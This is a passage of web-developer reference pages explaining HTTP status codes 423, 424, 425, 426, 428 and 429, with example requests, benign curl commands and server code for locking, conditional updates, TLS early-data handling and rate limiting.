"urn:uuid:e71d4fae-5dec-22d6-fea5-00a0c91e6be4", "owner": "alice@example.com", "type": "exclusive", "scope": "write", "created_at": "2026-01-18T14:30:00Z", "expires_at": "2026-01-18T14:40:00Z", "timeout_seconds": 600 }, "suggestions": [ "Wait for lock to expire", "Contact lock owner to release", "Try again after lock expiration" ] } ``` **Implement Lock Timeouts:** ```javascript // Express.js example const locks = new Map() app.lock('/documents/:id', (req, res) => { const docId = req.params.id const timeout = parseInt(req.headers.timeout?.replace('Second-', '')) || 900 if (locks.has(docId)) { return res.status(423).json({ error: 'Already locked', lock: locks.get(docId) }) } const lockToken = `urn:uuid:${uuidv4()}` const expiresAt = Date.now() + timeout * 1000 locks.set(docId, { token: lockToken, owner: req.user.email, expiresAt }) // Auto-remove lock after timeout setTimeout(() => locks.delete(docId), timeout * 1000) res.status(200).set('Lock-Token', `<${lockToken}>`).json({ lockToken, expiresAt }) }) app.put('/documents/:id', (req, res) => { const docId = req.params.id const providedToken = req.headers.if?.match(/<(.+)>/)?.[1] const lock = locks.get(docId) if (lock) { if (lock.expiresAt < Date.now()) { locks.delete(docId) // Lock expired } else if (lock.token !== providedToken) { return res.status(423).json({ error: 'Locked', lock_owner: lock.owner, lock_expires: new Date(lock.expiresAt) }) } } // Proceed with update updateDocument(docId, req.body) res.status(204).send() }) ``` **Provide Lock Management Interface:** ```javascript // View active locks app.get('/admin/locks', adminOnly, (req, res) => { const activeLocks = Array.from(locks.entries()).map(([id, lock]) => ({ resource_id: id, ...lock, expires_in_seconds: Math.max(0, (lock.expiresAt - Date.now()) / 1000) })) res.json({ locks: activeLocks }) }) // Force unlock (admin only) app.delete('/admin/locks/:token', adminOnly, (req, res) => { const token = req.params.token for (const [id, lock] of locks.entries()) { if (lock.token === token) { locks.delete(id) return res.json({ message: 'Lock removed', resource_id: id }) } } res.status(404).json({ error: 'Lock not found' }) }) ``` ## WebDAV Lock Implementation **Creating a Lock:** ```http LOCK /documents/report.docx HTTP/1.1 Host: webdav.example.com Content-Type: text/xml Depth: 0 Timeout: Second-3600 alice@example.com ``` **Refreshing a Lock:** ```http LOCK /documents/report.docx HTTP/1.1 Host: webdav.example.com If: () Timeout: Second-1800 ``` **Unlocking:** ```http UNLOCK /documents/report.docx HTTP/1.1 Host: webdav.example.com Lock-Token: ``` ## Implementation Examples **Node.js/Express:** ```javascript const locks = new Map() function checkLock(req, res, next) { const resourceId = req.params.id const lock = locks.get(resourceId) if (!lock) return next() if (lock.expiresAt < Date.now()) { locks.delete(resourceId) return next() } const providedToken = req.headers.if?.match(/<(.+)>/)?.[1] if (lock.token !== providedToken) { return res.status(423).json({ error: 'Locked', lock_token: lock.token, lock_owner: lock.owner, expires_at: new Date(lock.expiresAt).toISOString() }) } next() } app.put('/files/:id', checkLock, (req, res) => { // Update file res.status(204).send() }) ``` **Python/Django:** ```python from django.http import JsonResponse from django.utils import timezone from datetime import timedelta import uuid locks = {} def check_lock(view_func): def wrapper(request, resource_id, *args, **kwargs): lock = locks.get(resource_id) if lock and lock['expires_at'] > timezone.now(): provided_token = request.META.get('HTTP_IF', '').strip('<>') if lock['token'] != provided_token: return JsonResponse({ 'error': 'Locked', 'lock_owner': lock['owner'], 'expires_at': lock['expires_at'].isoformat() }, status=423) return view_func(request, resource_id, *args, **kwargs) return wrapper @check_lock def update_resource(request, resource_id): # Update resource return JsonResponse({'status': 'updated'}) ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) to simulate locked resources: 1. Set method to **LOCK** 2. Set path to **/webdav/document.docx** 3. Click **Send request** to create lock 4. Try **PUT** to same resource without lock token 5. See 423 response with lock details ## Try it with curl Write to a resource that another client holds a WebDAV lock on, without supplying the lock token. ```bash curl -i -T report.docx https://dav.example.com/docs/report.docx ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 423 Locked Content-Type: application/xml ``` `-T` uploads the file with `PUT`. To make the write succeed, send the token you received from `LOCK` in an `If: ()` header. ## Related Status Codes - [403 Forbidden](https://howhttpworks.com/status-codes/403) - Permission denied (permanent) - [409 Conflict](https://howhttpworks.com/status-codes/409) - Request conflicts with current state - [412 Precondition Failed](https://howhttpworks.com/status-codes/412) - Conditional request failed - [507 Insufficient Storage](https://howhttpworks.com/status-codes/507) - Server out of storage (WebDAV) --- # 424 Failed Dependency (WebDAV) > 424 Failed Dependency means a request failed because another action it depended on failed first. See WebDAV multi-status examples and what to fix. Source: https://howhttpworks.com/status-codes/424 Last reviewed: 2026-10-04 > **TL;DR:** 424 says "I did not do this because something it depends on failed." It almost always appears inside a WebDAV 207 body next to the entry that holds the real error. Fix that entry and the 424s go away. ## What it means PROPPATCH is atomic: if you set three properties and one fails, none are applied. The server reports the failing property with its real status, and the other two with 424. ```http PROPPATCH /files/report.pdf HTTP/1.1 Host: dav.example.com Content-Type: application/xml Alice"forged" ``` ```http HTTP/1.1 207 Multi-Status Content-Type: application/xml /files/report.pdf HTTP/1.1 403 Forbidden HTTP/1.1 424 Failed Dependency ``` `getetag` is a protected property (403), so the otherwise valid `author` update was rolled back and marked 424. Collection operations differ: when a `DELETE` on a collection fails because one child is locked ([423](https://howhttpworks.com/status-codes/423)), RFC 4918 section 9.6.1 says the 207 should list only the failing child, not 424 entries for its ancestors, and the collection is left in place. ## What to do 1. Read the whole [207](https://howhttpworks.com/status-codes/207) body, not only the 424 entries. 2. Locate the non-424 failure and fix it: protected property, lock token missing, permission, conflicting state. 3. Re-send the request unchanged. Because the operation is atomic, nothing was partially applied. 4. If you are implementing a WebDAV server, use 424 only for operations skipped due to another failure in the same request, never as a generic "dependency down" error. For that, [502](https://howhttpworks.com/status-codes/502), [503](https://howhttpworks.com/status-codes/503) or [504](https://howhttpworks.com/status-codes/504) are what clients and monitoring understand. ## How clients should treat it The 424 entries are not independent failures, so counting them as separate errors in logs and dashboards overstates the damage. Group them under the entry that caused them. If your client library flattens a multistatus body into a list of per-resource errors, keep the original order: servers list the root cause first, and the dependents follow. A second trap is retry logic. Retrying only the 424 items does not work, because they were skipped and are waiting on the failed item. Fix the root cause and resend the whole request. For a PROPPATCH, nothing was applied, so a clean retry after fixing the offending property is safe. Finally, in practice WebDAV servers use 424 for the PROPPATCH case above. If you see 424 on a plain, single-resource request outside WebDAV, the server is using the code in a custom way and its documentation is the only authority. ## Try it with curl `424 Failed Dependency` normally appears inside the XML body of a `207 Multi-Status` response, not as the top-level status. Send a `PROPPATCH` like the one above with curl and read the `` lines in the body. ```bash curl -i -X PROPPATCH https://dav.example.com/files/report.pdf \ -H 'Content-Type: application/xml' \ --data-binary @props.xml ``` Expect `HTTP/1.1 207 Multi-Status`, with the property that failed carrying its real status and the others marked `HTTP/1.1 424 Failed Dependency`. ## Related - [207 Multi-Status](https://howhttpworks.com/status-codes/207) - [423 Locked](https://howhttpworks.com/status-codes/423) - [409 Conflict](https://howhttpworks.com/status-codes/409) - [507 Insufficient Storage](https://howhttpworks.com/status-codes/507) --- # 425 Too Early: TLS 1.3 0-RTT Replay Protection > 425 Too Early tells a client not to send a request in TLS early data because it could be replayed. See the Early-Data header and nginx config for 0-RTT. Source: https://howhttpworks.com/status-codes/425 Last reviewed: 2026-10-04 > **TL;DR:** 425 Too Early is the server saying "this arrived in TLS 1.3 early data and I will not process it, because an attacker could replay it. Send it again after the handshake." It exists so 0-RTT can be used for resumption speed without replaying unsafe requests (RFC 8470). ## Why it exists TLS 1.3 session resumption can carry application data in the very first flight (0-RTT). That saves a round trip, but early data is replayable: an attacker who records the packet can send it again to the server, which may process it twice. RFC 8446 §8 leaves protection to the application. RFC 8470 defines the HTTP half: 1. A TLS-terminating proxy (CDN, load balancer, nginx) that accepts early data adds `Early-Data: 1` to the request it forwards. 2. The origin, which knows whether the operation is safe to repeat, either handles the request, or answers `425 Too Early`. 3. The client retries it once the handshake has completed, which can no longer be replayed. ```http POST /orders HTTP/1.1 Host: shop.example.com Early-Data: 1 Content-Type: application/json HTTP/1.1 425 Too Early ``` ## Configure it nginx must opt in to early data and tell the upstream: ```nginx server { listen 443 ssl; ssl_protocols TLSv1.3; ssl_early_data on; location / { proxy_pass http://app_backend; proxy_set_header Early-Data $ssl_early_data; } } ``` `$ssl_early_data` is `1` when the request was received in early data and the handshake had not completed, and empty otherwise. The origin then rejects unsafe methods: ```javascript app.use((req, res, next) => { const early = req.headers['early-data'] === '1' if (early && !['GET', 'HEAD', 'OPTIONS'].includes(req.method)) { return res.status(425).end() } next() }) ``` A GET that has side effects (logging in via a link, burning a one-time code) is not safe either, and RFC 8470 says the application decides, not the method name. ## Notes - A TLS-terminating proxy that cannot tell the origin about early data (no `Early-Data` header support upstream) should not enable `ssl_early_data`, because the origin would have no way to refuse unsafe requests. - CDNs that offer 0-RTT as a switch (Cloudflare calls it 0-RTT Connection Resumption) forward the signal to the origin; check the vendor docs for the exact header they set. - 425 is not cacheable by default and is not an indication of a broken server. Elevated 425s after enabling `ssl_early_data` are expected for returning clients. - Without `ssl_early_data on`, nginx never accepts early data, and you will never see this code from it. ## Try it with curl `425 Too Early` is sent by an origin that sees `Early-Data: 1` on a request it will not process. That header is normally added by a TLS-terminating proxy, not by clients, so you can simulate it by sending it directly to an origin that implements RFC 8470. curl 8.7 does not send real TLS 1.3 early data. ```bash curl -i -X POST https://origin.example.com/orders -H 'Early-Data: 1' -d '{"sku":"A1"}' ``` If the origin supports the check, the response is `HTTP/1.1 425 Too Early`. Without that support, the header is ignored. ## Related - [429 Too Many Requests](https://howhttpworks.com/status-codes/429) - [409 Conflict](https://howhttpworks.com/status-codes/409) - [426 Upgrade Required](https://howhttpworks.com/status-codes/426) - [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls) --- # 426 Upgrade Required > The server refuses to perform the request using the current protocol and requires the client to upgrade to a different protocol. Source: https://howhttpworks.com/status-codes/426 Last reviewed: 2026-10-04 > **TL;DR:** `426 Upgrade Required` means “this request is not acceptable as-is; try again using a different protocol.” ## What 426 Is Actually For A `426 Upgrade Required` response tells the client that the server understood the request, but refuses to process it over the current protocol. The server is effectively saying: “come back using this upgraded protocol instead.” That is different from a redirect. The URL might stay the same. The protocol expectations change. ## Where You Might Realistically See It The clearest real-world case is a WebSocket endpoint. If a client sends a normal HTTP request to an endpoint that only makes sense as a WebSocket upgrade, the server can answer with `426` and indicate that it expects `Upgrade: websocket`. Example: ```http HTTP/1.1 426 Upgrade Required Upgrade: websocket Connection: Upgrade ``` ## Why It Feels Rare Most web traffic does not use `426` because browsers and common web infrastructure prefer other patterns: - HTTPS enforcement usually uses `301` or `308` - HTTP/2 and HTTP/3 are usually negotiated automatically - WebSocket libraries often fail the upgrade directly rather than surfacing 426 explicitly So `426` is valid, but specialized. ## How To Read It Correctly When you get a 426, ask: - what protocol is the server demanding - does my client know how to switch to it - am I talking to a special endpoint with stricter expectations If the answer is “this should have been a WebSocket,” then the fix is usually not in status-code handling. The fix is using the right client and handshake. ## 426 vs 505 These are easy to confuse: - `426` means the server is willing to continue if the client upgrades - `505` means the request’s HTTP version is unsupported and the current exchange cannot proceed as sent So 426 is more like “different protocol, please,” while 505 is “this version is not acceptable here.” ## The Practical Rule If you are building a normal website or JSON API, you probably will not use 426 often. If you are building upgrade-driven endpoints, it becomes more relevant. ## Try it with curl Call a WebSocket-only endpoint with a plain request. ```bash curl -i https://api.example.com/socket ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 426 Upgrade Required Upgrade: websocket Connection: Upgrade ``` The `Upgrade` header names what the server wants. Repeat the request with the handshake headers from [101 Switching Protocols](https://howhttpworks.com/status-codes/101) to see the upgrade succeed. ## Related Status Codes - [101 Switching Protocols](https://howhttpworks.com/status-codes/101) - [505 HTTP Version Not Supported](https://howhttpworks.com/status-codes/505) - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) --- # 428 Precondition Required > The server requires the request to be conditional. Learn when to use 428 Precondition Required to prevent lost updates and race conditions. Source: https://howhttpworks.com/status-codes/428 Last reviewed: 2026-10-04 > **TL;DR:** Server requires conditional headers (like If-Match) to prevent lost updates in concurrent editing. Get the resource's ETag first, then include it in your update request. ## What is 428 Precondition Required? A **428 Precondition Required** status code means the server requires the request to include conditional headers before it can be processed. Think of it like a bank requiring you to provide your current account balance before approving a withdrawal—it ensures you're working with up-to-date information and prevents conflicting changes. This status code is used to prevent the "lost update problem" where multiple clients might modify a resource simultaneously, potentially overwriting each other's changes. ## When Does This Happen? You'll see a 428 Precondition Required response in these common situations: **1. Updating Shared Resources** ```text Multiple users editing the same document → Server requires If-Match header → Ensures you have the latest version → Prevents overwriting others' changes ``` **2. Critical Data Modifications** ```text Updating financial records → Requires If-Unmodified-Since → Confirms data hasn't changed → Prevents race conditions ``` **3. API Rate Limiting Protection** ```text High-frequency API endpoint → Requires conditional headers → Prevents accidental duplicate requests → Protects server resources ``` **4. Cache Validation Required** ```text Critical resource update → Server demands If-None-Match → Ensures client has current version → Prevents stale data updates ``` **5. Distributed System Coordination** ```text Microservices updating shared state → Requires version headers → Maintains consistency → Prevents conflicts ``` ## Example Responses **Basic 428 Response:** ```http HTTP/1.1 428 Precondition Required Content-Type: application/json Content-Length: 156 { "error": "Precondition Required", "message": "This request must be conditional. Please include an If-Match or If-Unmodified-Since header.", "required_headers": ["If-Match", "If-Unmodified-Since"] } ``` **With ETag Information:** ```http HTTP/1.1 428 Precondition Required Content-Type: application/json ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" { "error": "Precondition Required", "message": "To update this resource, include an If-Match header with the current ETag", "current_etag": "33a64df551425fcc55e4d42a148795d9f25f89d4", "example": "If-Match: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"" } ``` **Detailed Guidance:** ```http HTTP/1.1 428 Precondition Required Content-Type: application/json Link: ; rel="help" { "error": "Precondition Required", "message": "This endpoint requires conditional request headers to prevent lost updates", "details": { "reason": "Resource can be modified by multiple clients", "required_headers": [ { "name": "If-Match", "description": "Include the ETag from your last GET request", "example": "If-Match: \"abc123\"" }, { "name": "If-Unmodified-Since", "description": "Include the Last-Modified date from your last GET request", "example": "If-Unmodified-Since: Wed, 21 Oct 2025 07:28:00 GMT" } ] }, "documentation": "https://api.example.com/docs/conditional-requests" } ``` ## Real-World Example Imagine you're updating a user profile through an API: **Initial Request (Missing Precondition):** ```http PUT /api/users/12345 HTTP/1.1 Host: api.example.com Content-Type: application/json Authorization: Bearer eyJhbGciOiJIUzI1NiIs... { "name": "John Doe", "email": "john.doe@example.com", "role": "admin" } ``` **428 Response:** ```http HTTP/1.1 428 Precondition Required Content-Type: application/json Cache-Control: no-cache Content-Length: 423 { "error": "Precondition Required", "message": "User profile updates require conditional headers to prevent conflicts", "details": { "reason": "This resource can be modified by the user and administrators simultaneously", "solution": "First, GET the current resource to obtain the ETag, then include it in your PUT request" }, "steps": [ "1. GET /api/users/12345 to retrieve current data and ETag", "2. Include 'If-Match: ' header in your PUT request", "3. Retry your PUT request with the If-Match header" ], "example": { "header": "If-Match", "value": "\"33a64df551425fcc55e4d42a148795d9f25f89d4\"" } } ``` **Corrected Request Flow:** **Step 1: Get Current Resource** ```http GET /api/users/12345 HTTP/1.1 Host: api.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIs... Response: HTTP/1.1 200 OK ETag: "v1.2.3" Last-Modified: Wed, 18 Jan 2026 10:00:00 GMT { "id": "12345", "name": "John Smith", "email": "john.smith@example.com", "role": "user" } ``` **Step 2: Update With Precondition** ```http PUT /api/users/12345 HTTP/1.1 Host: api.example.com Content-Type: application/json Authorization: Bearer eyJhbGciOiJIUzI1NiIs... If-Match: "v1.2.3" { "name": "John Doe", "email": "john.doe@example.com", "role": "admin" } Response: HTTP/1.1 200 OK ETag: "v1.2.4" { "id": "12345", "name": "John Doe", "email": "john.doe@example.com", "role": "admin", "updated_at": "2026-01-18T10:05:00Z" } ``` ## 428 vs Other Conditional Codes | Code | Meaning | Scenario | Solution | | ------- | --------------------- | -------------------------------------- | ----------------------------------- | | **428** | Precondition Required | No conditional header provided | Add If-Match or If-Unmodified-Since | | **412** | Precondition Failed | Conditional header provided but failed | Get latest version and retry | | **409** | Conflict | Request conflicts with current state | Resolve conflict manually | | **304** | Not Modified | Conditional GET shows no change | Use cached version | ## Important Characteristics **Prevents Lost Updates:** ```text User A reads resource (version 1) User B reads resource (version 1) User A updates to version 2 ✓ User B updates (would overwrite A's changes) → 428 forces B to get version 2 first ``` **Server Policy Decision:** ```http HTTP/1.1 428 Precondition Required ↑ Server decides which endpoints require conditions ``` **Common Required Headers:** - `If-Match`: Requires specific ETag - `If-Unmodified-Since`: Requires resource unchanged since date - `If-None-Match`: For conditional creation - Custom version headers ## Common Mistakes **❌ Not providing guidance** ```http HTTP/1.1 428 Precondition Required Precondition Required ← Unhelpful, what precondition? ``` **❌ Requiring conditions on read-only requests** ```http GET /api/users/123 HTTP/1.1 428 Precondition Required ← Bad: GET shouldn't require conditions ``` **❌ Not documenting which headers are needed** ```json { "error": "Precondition Required" ← Missing: which headers? which values? } ``` **✅ Correct usage** ```http HTTP/1.1 428 Precondition Required Content-Type: application/json { "error": "Precondition Required", "message": "Include If-Match header with current ETag", "required_header": "If-Match", "get_etag_from": "GET /api/users/123", "current_etag": "\"abc123\"" } ``` ## Getting 428 Precondition Required right **Provide Current ETag:** ```javascript app.put('/api/resource/:id', async (req, res) => { if (!req.headers['if-match']) { const resource = await db.getResource(req.params.id) return res.status(428).json({ error: 'Precondition Required', message: 'Include If-Match header to update this resource', current_etag: resource.etag, example: `If-Match: "${resource.etag}"` }) } // Process conditional update... }) ``` **Document Required Headers:** ```http HTTP/1.1 428 Precondition Required Content-Type: application/json { "error": "Precondition Required", "required_headers": { "If-Match": { "description": "ETag from your last GET request", "example": "If-Match: \"v1.2.3\"", "obtain_from": "GET /api/resource/:id" } }, "documentation": "https://docs.example.com/conditional-requests" } ``` **Apply to Critical Endpoints Only:** ```javascript const requiresPrecondition = [ 'PUT /api/users/:id', 'PATCH /api/documents/:id', 'DELETE /api/critical-data/:id' ] // Don't require for less critical operations const optional = ['POST /api/logs', 'GET /api/*', 'POST /api/analytics'] ``` **Consistent Error Format:** ```javascript function preconditionRequiredError(resourceType, etag) { return { error: 'Precondition Required', message: `${resourceType} updates require conditional headers`, required_headers: ['If-Match', 'If-Unmodified-Since'], current_etag: etag, steps: [ `1. GET the current ${resourceType}`, '2. Note the ETag header in the response', '3. Include If-Match: in your update request' ] } } ``` ## Implementation Examples **Express.js Middleware:** ```javascript const requireConditional = (req, res, next) => { const requiresCondition = ['PUT', 'PATCH', 'DELETE'].includes(req.method) const hasCondition = req.headers['if-match'] || req.headers['if-unmodified-since'] if (requiresCondition && !hasCondition) { return res.status(428).json({ error: 'Precondition Required', message: 'This operation requires a conditional header', required_headers: ['If-Match', 'If-Unmodified-Since'], hint: `GET ${req.path} to obtain the current ETag` }) } next() } app.put('/api/users/:id', requireConditional, async (req, res) => { // Handle conditional update... }) ``` **Django:** ```python from django.http import JsonResponse from django.views.decorators.http import require_http_methods @require_http_methods(["PUT"]) def update_user(request, user_id): if_match = request.headers.get('If-Match') if not if_match: return JsonResponse({ 'error': 'Precondition Required', 'message': 'Include If-Match header with current ETag', 'required_header': 'If-Match', 'get_etag_from': f'/api/users/{user_id}' }, status=428) # Process conditional update user = User.objects.get(id=user_id) if user.etag != if_match.strip('"'): return JsonResponse({ 'error': 'Precondition Failed' }, status=412) # Update user... ``` **Ruby on Rails:** ```ruby class UsersController < ApplicationController before_action :require_precondition, only: [:update, :destroy] def update @user = User.find(params[:id]) if stale?(etag: @user, last_modified: @user.updated_at) if @user.update(user_params) render json: @user else render json: @user.errors, status: :unprocessable_entity end end end private def require_precondition unless request.headers['If-Match'] || request.headers['If-Unmodified-Since'] render json: { error: 'Precondition Required', message: 'Include If-Match or If-Unmodified-Since header', required_headers: ['If-Match', 'If-Unmodified-Since'] }, status: 428 end end end ``` ## Client-Side Handling **JavaScript Fetch API:** ```javascript async function updateUser(userId, updates) { // First, get current resource const getResponse = await fetch(`/api/users/${userId}`) const etag = getResponse.headers.get('ETag') // Then update with If-Match const putResponse = await fetch(`/api/users/${userId}`, { method: 'PUT', headers: { 'Content-Type': 'application/json', 'If-Match': etag }, body: JSON.stringify(updates) }) if (putResponse.status === 428) { throw new Error('Precondition required - this should not happen!') } if (putResponse.status === 412) { // Resource changed, need to refetch console.log('Resource was modified, retrying...') return updateUser(userId, updates) // Retry } return putResponse.json() } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and see 428 Precondition Required: 1. Set method to **PUT** 2. Set path to **/api/protected-resource** 3. Click **Send request** (without If-Match header) 4. Observe 428 response 5. Add **If-Match** header and retry ## Try it with curl Send an update to a server that requires a conditional header, with none attached. ```bash curl -i -X PUT https://api.example.com/documents/1 \ -H 'Content-Type: application/json' \ -d '{"title":"New title"}' ``` Example output (illustrative, not captured from a real server): ```http HTTP/2 428 content-type: application/json {"error":"precondition_required","hint":"send If-Match"} ``` Fetch the current ETag with `curl -I https://api.example.com/documents/1`, then repeat the `PUT` with `-H 'If-Match: ""'`. ## Related Status Codes - [412 Precondition Failed](https://howhttpworks.com/status-codes/412) - Conditional header provided but condition not met - [409 Conflict](https://howhttpworks.com/status-codes/409) - Request conflicts with current resource state - [304 Not Modified](https://howhttpworks.com/status-codes/304) - Conditional GET shows resource unchanged - [200 OK](https://howhttpworks.com/status-codes/200) - Successful conditional update --- # HTTP 429 Too Many Requests: Causes, Retry-After and Fixes > Fix HTTP 429 Too Many Requests: read Retry-After and RateLimit headers, back off with jitter, and set up express-rate-limit v7, nginx limit_req and Cloudflare. Source: https://howhttpworks.com/status-codes/429 Last reviewed: 2026-10-05 > **TL;DR:** 429 Too Many Requests means you hit a rate limit. Pause the request loop, honor `Retry-After` in seconds or as an HTTP date, and reduce concurrency; as the site owner, identify the limiter before changing its quota. ## What you see in your client These are the client formats for a response carrying 429 and the reason phrase `Too Many Requests`; the URLs are placeholders. They are derived from library source, rather than captured server output. A server-supplied reason phrase can change the Python, .NET and Spring text. - **Axios:** `AxiosError: Request failed with status code 429`. With the default status validation, the promise rejects; inspect `error.response.status`, `error.response.data` and `error.response.headers`. [Axios constructs this message in `settle`](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves when the HTTP response arrives. `response.status === 429` and `response.ok === false`; check those before reading a success payload. A network failure rejects separately. [MDN documents this distinction](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 429 Client Error: Too Many Requests for url: https://api.example.com/resource`. This comes from `response.raise_for_status()`, not from `requests.get()` alone. Save the body before raising if it contains useful diagnostics. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl `-f`:** `curl: (22) The requested URL returned error: 429`. `curl -i` shows headers and the error body without fail mode; `--fail-with-body` keeps the body while returning a failing exit code. [curl source](https://github.com/curl/curl/blob/master/lib/http.c), [option documentation](https://curl.se/docs/manpage.html#--fail-with-body). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 429 (Too Many Requests).` This is the English message from `EnsureSuccessStatusCode()`; inspect the `HttpResponseMessage` first when you need its body. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** `WebClientResponseException.TooManyRequests` with message `429 Too Many Requests from GET https://api.example.com/resource` for `WebClient.retrieve()`. RestTemplate's default error handler uses `HttpClientErrorException.TooManyRequests`; its message can include the response body. These class names follow the [Spring 6.2 WebClient source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java) and [HTTP client source](https://github.com/spring-projects/spring-framework/blob/v6.2.0/spring-web/src/main/java/org/springframework/web/client/HttpClientErrorException.java). ## What it means RFC 6585 defines 429 as "the user has sent too many requests in a given amount of time". The server decides what "user" and "time" mean, usually an IP address, API key or token over a sliding or fixed window. Read the body to identify the limit you hit: waiting addresses a time window, while a separate quota may require an account or plan change. The response below is illustrative and uses the older draft-6 field layout, which express-rate-limit can emit. Current IETF work uses `RateLimit` and `RateLimit-Policy`; provider headers need their own interpretation. ```http HTTP/1.1 429 Too Many Requests Retry-After: 30 RateLimit-Limit: 100 RateLimit-Remaining: 0 RateLimit-Reset: 30 Content-Type: application/json {"error":"rate_limited","message":"Too many requests, retry in 30 seconds"} ``` ## Who sent it? | Signal | Layer | | --- | --- | | `Server: cloudflare`, `CF-Ray`, HTML page "Error 1015" | Cloudflare rate limiting rule | | Gateway response type `THROTTLED` or `QUOTA_EXCEEDED`, default status 429 | [AWS API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/supported-gateway-response-types.html) | | `Server: nginx` and log line `limiting requests, excess: ... by zone "api"` | nginx `limit_req` (status 429 only if configured) | | `x-ratelimit-remaining: 0`, JSON error naming a quota or "secondary rate limit" | The API provider (GitHub, OpenAI, Stripe and similar) | | `RateLimit-*` headers from `express-rate-limit` | Your own app | ## Common causes by stack - **Express:** express-rate-limit reaches `limit` within `windowMs` and returns 429 by default. Check the key, proxy configuration and shared store; multiple processes need a common counter if the quota is global. [Configuration](https://express-rate-limit.mintlify.app/reference/configuration), [proxy troubleshooting](https://express-rate-limit.mintlify.app/guides/troubleshooting-proxy-issues). - **Django/DRF:** a configured throttle rejects the request and raises `Throttled` (429). Inspect `DEFAULT_THROTTLE_CLASSES`, `DEFAULT_THROTTLE_RATES` and the view's throttle scope; the built-in throttles use Django's cache backend. [DRF throttling](https://www.django-rest-framework.org/api-guide/throttling/). - **Laravel:** route `throttle` middleware exceeds its named limiter and returns 429. Check `RateLimiter::for(...)`, the `Limit::perMinute(...)` value and the `by(...)` key; change the key if unrelated users share one bucket. [Laravel routing limits](https://laravel.com/docs/12.x/routing#rate-limiting). - **ASP.NET Core:** rate limiting middleware returns 429 when configured with `RejectionStatusCode = StatusCodes.Status429TooManyRequests`, or an `OnRejected` callback that sets that status. Inspect the endpoint's policy and partition key; a rejection can occur before the handler runs. [Microsoft rate limiting](https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit). - **nginx:** `limit_req` rejects beyond `burst`; it becomes 429 with `limit_req_status 429`. Look for `limiting requests` and the zone name in the error log. [nginx directives](https://nginx.org/en/docs/http/ngx_http_limit_req_module.html). - **Cloudflare:** a rate limiting rule blocks the configured characteristic for its mitigation period. Find the request in Rate Limiting Analytics and inspect that rule's expression and action. [Cloudflare 429](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/4xx-client-error/error-429/). - **AWS API Gateway:** account, stage/method or usage-plan rate and burst targets cause throttling. Check the most restrictive applicable target before raising only the usage-plan setting. [AWS throttling order](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-request-throttling.html). ## Keep quota counters aligned with response headers Treat `x-ratelimit-remaining-requests` and `x-ratelimit-reset` as provider-defined fields. The name alone cannot tell you whether reset means an epoch timestamp, a duration or a formatted interval. For instance, [GitHub's `x-ratelimit-reset`](https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api) is UTC epoch seconds, while its remaining field concerns a particular rate-limit resource. Track the bucket identity alongside your local counter: credential, endpoint and quota category. Read `Retry-After` first after a 429, then apply the documented reset rule for the exhausted bucket. A remaining count from one request is a snapshot; concurrent callers can spend it before your next request. Coordinate workers that share a credential rather than giving each worker the full allowance. Keep the server's response headers in the retry log so you can compare its decisions with your counter. ## Fix it as the client 1. Stop retrying immediately; a tight loop adds more requests to an already exhausted limiter. 2. Read `Retry-After`. It is either seconds or an HTTP date, so handle both. 3. Look at the limit headers (`RateLimit-Remaining` / `x-ratelimit-remaining`, `-Reset`) to see which bucket you exhausted. Providers often have separate per-minute, per-day and per-endpoint limits. 4. Retry with exponential backoff plus jitter; cap the attempts. 5. Cut the request count: cache, batch, use conditional requests ([304](https://howhttpworks.com/status-codes/304) saves response transfer; quota accounting depends on the provider), and lower concurrency. 6. Retry only idempotent requests, or POSTs with an idempotency key the API supports. ```javascript function retryDelayMs(res, attempt) { const ra = res.headers.get('retry-after') if (ra) { const secs = Number(ra) if (!Number.isNaN(secs)) return secs * 1000 const at = Date.parse(ra) // HTTP-date form if (!Number.isNaN(at)) return Math.max(0, at - Date.now()) } const base = Math.min(30_000, 2 ** attempt * 500) return Math.random() * base // full jitter } // GET only: request bodies need a separate replay and idempotency policy. async function fetchWithRetry(url, max = 5) { for (let attempt = 0; ; attempt++) { const res = await fetch(url) if (res.status !== 429 || attempt >= max) return res const delay = retryDelayMs(res, attempt) await res.body?.cancel() await new Promise((r) => setTimeout(r, delay)) } } ``` Inspect what the server tells you: ```bash curl -s -o /dev/null -D - https://api.example.com/v1/items | grep -iE '^(HTTP|retry-after|ratelimit|x-ratelimit)' ``` ## Fix it as the site owner ### Express (express-rate-limit v7 and later) The option is `limit` (it was `max` before v7). `req.rateLimit.resetTime` is a `Date`, not a number: ```javascript import { rateLimit } from 'express-rate-limit' const limiter = rateLimit({ windowMs: 15 * 60 * 1000, limit: 100, standardHeaders: 'draft-7', // RateLimit + RateLimit-Policy; 'draft-6' emits RateLimit-Limit/-Remaining/-Reset legacyHeaders: false, // drop X-RateLimit-* handler: (req, res, _next, options) => { const retryAfter = Math.max(1, Math.ceil((req.rateLimit.resetTime.getTime() - Date.now()) / 1000)) res.set('Retry-After', String(retryAfter)) res.status(options.statusCode).json({ error: 'rate_limited', retryAfter }) } }) app.set('trust proxy', 1) // for a deployment with exactly one trusted proxy hop app.use('/api/', limiter) ``` Behind a reverse proxy without `trust proxy`, all users appear to come from the proxy IP and hit the limit together. Verify the actual proxy chain before using a hop count: alternate paths with fewer hops can expose a spoofed forwarded address. Use a shared store (Redis) when you run more than one instance. 